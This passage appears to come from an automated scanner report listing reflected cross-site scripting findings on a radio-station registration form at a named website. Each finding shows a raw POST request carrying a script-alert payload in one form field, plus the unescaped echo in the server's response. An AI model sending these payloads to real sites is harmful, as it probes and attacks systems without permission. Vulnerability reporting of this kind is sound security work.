User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com524fc"><script>alert(1)</script>d800c9ff9b3&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&Stat
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:20 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Email" value= "'a=a'--@\\/script.com524fc"><script>alert(1)</script>d800c9ff9b3">
...[SNIP]...

2.11. http://www.bnhotwire.com/register/terms.asp [Email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Email request parameter is copied into the HTML document as plain text between tags. The payload f7777<script>alert(1)</script>66c72e491c was submitted in the Email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.comf7777<script>alert(1)</script>66c72e491c&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&Stat
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:21 GMT
Content-Length: 6633
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'a=a'--@\\/script.comf7777<script>alert(1)</script>66c72e491c</td>
...[SNIP]...

2.12. http://www.bnhotwire.com/register/terms.asp [FirstName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the FirstName request parameter is copied into the HTML document as plain text between tags. The payload 34420<script>alert(1)</script>38ad0ead103 was submitted in the FirstName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%2734420<script>alert(1)</script>38ad0ead103&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Posta
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:01 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''34420<script>alert(1)</script>38ad0ead103 ''</td>
...[SNIP]...

2.13. http://www.bnhotwire.com/register/terms.asp [FirstName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the FirstName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92cc2"><script>alert(1)</script>fd514c86987 was submitted in the FirstName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%2792cc2"><script>alert(1)</script>fd514c86987&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Posta
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:00 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="FirstName" value= "''92cc2"><script>alert(1)</script>fd514c86987">
...[SNIP]...

2.14. http://www.bnhotwire.com/register/terms.asp [Format parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Format request parameter is copied into the HTML document as plain text between tags. The payload bc256<script>alert(1)</script>4af3a2cdacf was submitted in the Format parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27bc256<script>alert(1)</script>4af3a2cdacf&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:57 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''bc256<script>alert(1)</script>4af3a2cdacf</td>
...[SNIP]...

2.15. http://www.bnhotwire.com/register/terms.asp [Format parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Format request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e85a7"><script>alert(1)</script>5bdbcf1c48d was submitted in the Format parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27e85a7"><script>alert(1)</script>5bdbcf1c48d&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:55 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Format" value= "''e85a7"><script>alert(1)</script>5bdbcf1c48d">
...[SNIP]...

2.16. http://www.bnhotwire.com/register/terms.asp [LastName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the LastName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7574f"><script>alert(1)</script>01d1ace5e79 was submitted in the LastName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%277574f"><script>alert(1)</script>01d1ace5e79&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Posta
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:09 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="LastName" value= "''7574f"><script>alert(1)</script>01d1ace5e79">
...[SNIP]...

2.17. http://www.bnhotwire.com/register/terms.asp [LastName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the LastName request parameter is copied into the HTML document as plain text between tags. The payload d5764<script>alert(1)</script>7d4e4bd7c9c was submitted in the LastName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27d5764<script>alert(1)</script>7d4e4bd7c9c&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Posta
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:11 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'' ''d5764<script>alert(1)</script>7d4e4bd7c9c</td>
...[SNIP]...

2.18. http://www.bnhotwire.com/register/terms.asp [PROVINCE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the PROVINCE request parameter is copied into the HTML document as plain text between tags. The payload 6ea17<script>alert(1)</script>2f5bf2868e9 was submitted in the PROVINCE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON6ea17<script>alert(1)</script>2f5bf2868e9&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:12 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;ON6ea17<script>alert(1)</script>2f5bf2868e9</td>
...[SNIP]...

2.19. http://www.bnhotwire.com/register/terms.asp [PROVINCE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the PROVINCE request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89489"><script>alert(1)</script>375d123831d was submitted in the PROVINCE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON89489"><script>alert(1)</script>375d123831d&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:11 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Province" value= "ON89489"><script>alert(1)</script>375d123831d">
...[SNIP]...

2.20. http://www.bnhotwire.com/register/terms.asp [Phone_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5221d"><script>alert(1)</script>2a30bbe0339 was submitted in the Phone_a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%275221d"><script>alert(1)</script>2a30bbe0339&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:26 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Phone_a" value= "'5221d"><script>alert(1)</script>2a30bbe0339-'-'">
...[SNIP]...

2.21. http://www.bnhotwire.com/register/terms.asp [Phone_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_a request parameter is copied into the HTML document as plain text between tags. The payload 3df65<script>alert(1)</script>63da9fa395a was submitted in the Phone_a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%273df65<script>alert(1)</script>63da9fa395a&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:27 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'3df65<script>alert(1)</script>63da9fa395a-'-'</td>
...[SNIP]...

2.22. http://www.bnhotwire.com/register/terms.asp [Phone_b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_b request parameter is copied into the HTML document as plain text between tags. The payload ab223<script>alert(1)</script>6abeb47bb87 was submitted in the Phone_b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27ab223<script>alert(1)</script>6abeb47bb87&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:31 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'-'ab223<script>alert(1)</script>6abeb47bb87-'</td>
...[SNIP]...

2.23. http://www.bnhotwire.com/register/terms.asp [Phone_b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_b request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 900b8"><script>alert(1)</script>c0102e21eeb was submitted in the Phone_b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27900b8"><script>alert(1)</script>c0102e21eeb&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:30 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Phone_a" value= "'-'900b8"><script>alert(1)</script>c0102e21eeb-'">
...[SNIP]...

2.24. http://www.bnhotwire.com/register/terms.asp [Phone_c parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_c request parameter is copied into the HTML document as plain text between tags. The payload c4284<script>alert(1)</script>edf488f0671 was submitted in the Phone_c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

